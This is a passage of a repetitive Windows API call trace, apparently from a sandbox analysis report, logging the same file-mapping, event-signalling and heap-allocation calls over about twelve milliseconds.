dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.610] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.610] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.610] ResetEvent (hEvent=0xe8) returned 1 [0057.610] SetEvent (hEvent=0xec) returned 1 [0057.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.610] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.610] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.610] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.610] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.610] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.610] ResetEvent (hEvent=0xe8) returned 1 [0057.610] SetEvent (hEvent=0xec) returned 1 [0057.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.610] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.610] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.610] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.611] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.611] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.611] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.611] ResetEvent (hEvent=0xe8) returned 1 [0057.611] SetEvent (hEvent=0xec) returned 1 [0057.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.611] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.611] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.611] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.611] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.611] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.611] ResetEvent (hEvent=0xe8) returned 1 [0057.611] SetEvent (hEvent=0xec) returned 1 [0057.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.611] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.611] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.611] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.612] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.612] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.612] ResetEvent (hEvent=0xe8) returned 1 [0057.612] SetEvent (hEvent=0xec) returned 1 [0057.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.612] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.612] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.612] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.612] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.612] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.612] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.612] ResetEvent (hEvent=0xe8) returned 1 [0057.612] SetEvent (hEvent=0xec) returned 1 [0057.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.612] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.612] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.612] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.612] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.613] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.613] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.613] ResetEvent (hEvent=0xe8) returned 1 [0057.613] SetEvent (hEvent=0xec) returned 1 [0057.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.613] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.613] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.613] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.613] ResetEvent (hEvent=0xe8) returned 1 [0057.613] SetEvent (hEvent=0xec) returned 1 [0057.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.613] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.613] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.613] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.613] ResetEvent (hEvent=0xe8) returned 1 [0057.613] SetEvent (hEvent=0xec) returned 1 [0057.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.613] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.613] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.614] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.614] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.614] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.614] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.614] ResetEvent (hEvent=0xe8) returned 1 [0057.614] SetEvent (hEvent=0xec) returned 1 [0057.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.614] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.614] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.614] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.614] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.614] ResetEvent (hEvent=0xe8) returned 1 [0057.614] SetEvent (hEvent=0xec) returned 1 [0057.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.614] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.614] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.614] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.614] ResetEvent (hEvent=0xe8) returned 1 [0057.615] SetEvent (hEvent=0xec) returned 1 [0057.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.615] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.615] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.615] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.615] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.615] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.615] ResetEvent (hEvent=0xe8) returned 1 [0057.615] SetEvent (hEvent=0xec) returned 1 [0057.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.615] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.615] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.615] ResetEvent (hEvent=0xe8) returned 1 [0057.615] SetEvent (hEvent=0xec) returned 1 [0057.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.616] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.616] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.616] ResetEvent (hEvent=0xe8) returned 1 [0057.616] SetEvent (hEvent=0xec) returned 1 [0057.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.616] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.616] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.616] ResetEvent (hEvent=0xe8) returned 1 [0057.616] SetEvent (hEvent=0xec) returned 1 [0057.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.616] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.616] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.616] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.616] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.616] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.616] ResetEvent (hEvent=0xe8) returned 1 [0057.616] SetEvent (hEvent=0xec) returned 1 [0057.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.617] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.617] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.617] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.617] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.617] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.617] ResetEvent (hEvent=0xe8) returned 1 [0057.617] SetEvent (hEvent=0xec) returned 1 [0057.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.617] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.617] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.617] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.617] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.617] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.617] ResetEvent (hEvent=0xe8) returned 1 [0057.618] SetEvent (hEvent=0xec) returned 1 [0057.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.618] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.618] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.618] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.618] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.618] ResetEvent (hEvent=0xe8) returned 1 [0057.618] SetEvent (hEvent=0xec) returned 1 [0057.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.618] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.618] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.618] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.618] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.619] ResetEvent (hEvent=0xe8) returned 1 [0057.619] SetEvent (hEvent=0xec) returned 1 [0057.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.619] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.619] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.619] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.619] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.619] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.619] ResetEvent (hEvent=0xe8) returned 1 [0057.619] SetEvent (hEvent=0xec) returned 1 [0057.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.619] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.619] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.619] ResetEvent (hEvent=0xe8) returned 1 [0057.619] SetEvent (hEvent=0xec) returned 1 [0057.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.620] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.620] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.620] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.620] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.620] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.620] ResetEvent (hEvent=0xe8) returned 1 [0057.620] SetEvent (hEvent=0xec) returned 1 [0057.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.620] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.620] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.620] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.620] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.620] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.620] ResetEvent (hEvent=0xe8) returned 1 [0057.620] SetEvent (hEvent=0xec) returned 1 [0057.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.621] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.621] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.621] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.621] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.621] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.621] ResetEvent (hEvent=0xe8) returned 1 [0057.621] SetEvent (hEvent=0xec) returned 1 [0057.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.621] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.621] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.621] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.621] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.621] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.621] ResetEvent (hEvent=0xe8) returned 1 [0057.621] SetEvent (hEvent=0xec) returned 1 [0057.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.621] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, 